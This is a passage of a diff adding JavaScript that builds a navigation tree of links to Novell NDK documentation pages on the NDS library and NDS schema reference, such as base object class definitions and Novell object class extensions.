+ var navElement = navigationLink("Network Address Types ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hniuyp90.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Scope Flags ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/h6wfyyfk.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Replica Types ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/he290q86.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Replica States ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/h9br9yt1.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Syntax Matching Flags ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hd8fn0rm.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Syntax IDs ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hn1dsa7y.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("NDS Example Code ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hb05g04v.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("Context Handle ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/a2sofgc.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Object and Attribute ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/a2snp6e.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Browsing and Searching ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/a2snu78.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Batch Modification of Objects and Attributes ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/a2snzot.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Schema ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/a2snqyd.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Revision History ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/a5i29ah.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("NDS Schema Reference ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/h4q1mn1i.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("Schema Concepts ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/h282spjh.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("Schema Structure ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/hpmkggmh.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Schema Components ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/hvt5bdoi.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Object Classes ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/hbna398k.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Naming Attributes ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/h9vf1k0r.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Containment Classes ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/hh1izaro.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Super Classes ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/hmdjysrx.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Object Class Flags ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/h6rvyaky.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Mandatory and Optional Attributes ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/h2vnta8j.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Default ACL Templates ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/hr9sm1l0.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Auxiliary Classes ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/hlh5m1af.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Attribute Type Definitions ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/hotadinr.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Attribute Syntax Definitions ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/h2m59phc.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Schema Extensions ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/he5mef3b.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Base Object Class Definitions ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/hmv2qd15.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("AFP Server ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk75.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Alias ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk83.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("applicationEntity ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk91.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("applicationProcess ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk99.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Audit:File Object ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk107.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Bindery Object ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk115.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Bindery Queue ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk123.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("certificationAuthority ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk131.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("CommExec ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk139.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Computer ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk147.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Country ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk155.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("cRLDistributionPoint ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk163.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("dcObject ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk171.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Device ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk179.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Directory Map ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk187.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("domain ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk195.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("dSA ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk203.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("External Entity ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk219.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Group ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk227.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Group ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a38rj6z.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Server ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk243.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("List ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk251.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Locality ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk259.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("MASV:Security Policy ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk267.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Message Routing Group ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk275.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Messaging Server ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk283.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NCP Server ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk291.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("ndsLoginProperties ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk347.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:Certificate Authority ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk355.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:Key Material ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk363.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:SD Key Access Partition ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a2okvd6.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:SD Key List ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a2okvdx.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:Trusted Root ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a2okvbk.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:Trusted Root Object ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a2okvcf.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:groupOfCertificates ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk421.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:mailGroup1 ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk445.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:mailRecipient ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk466.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:NetscapeMailServer5 ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk474.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:NetscapeServer5 ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk482.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:nginfo3 ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk510.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:nsLicenseUser ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk518.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Organization ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk530.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Organizational Person ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk541.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Organizational Role ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk550.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Organizational Unit ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk561.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Partition ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk570.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Person ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk578.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("pkiCA ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk586.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("pkiUser ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk594.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Print Server ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk602.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Printer ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk610.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Profile ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk618.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Queue ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk626.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Resource ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk634.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SAS:Security ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk642.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SAS:Service ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk650.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Server ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk658.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("strongAuthenticationUser ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk698.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Template ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk706.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Top ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk714.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Tree Root ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk722.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Unknown ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk730.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("User ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk738.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("userSecurityInformation ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk746.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Volume ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk754.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("WANMAN:LAN Area ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk762.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Novell Object Class Extensions ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a3fh4x1.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("Entrust:CRLDistributionPoint ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk211.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("inetOrgPerson ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk235.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDPS Broker ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk299.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDPS Manager ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk307.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDPS Printer ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk315.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Catalog ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk323.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Master Catalog ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk331.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Slave Catalog ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk339.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NetSvc ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk379.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:License Certificate ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk386.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:License Server ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk394.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:Product Container ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk412.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:groupOfUniqueNames5 ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk432.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:mailGroup5 ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk454.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:Nginfo ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk491.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:Nginfo2 ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk502.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("residentialPerson ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a3omhcl.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SLP Scope Unit ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk666.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SLP Directory Agent ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk674.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SLP Service ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk682.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SMS SMDR Class ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk690.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
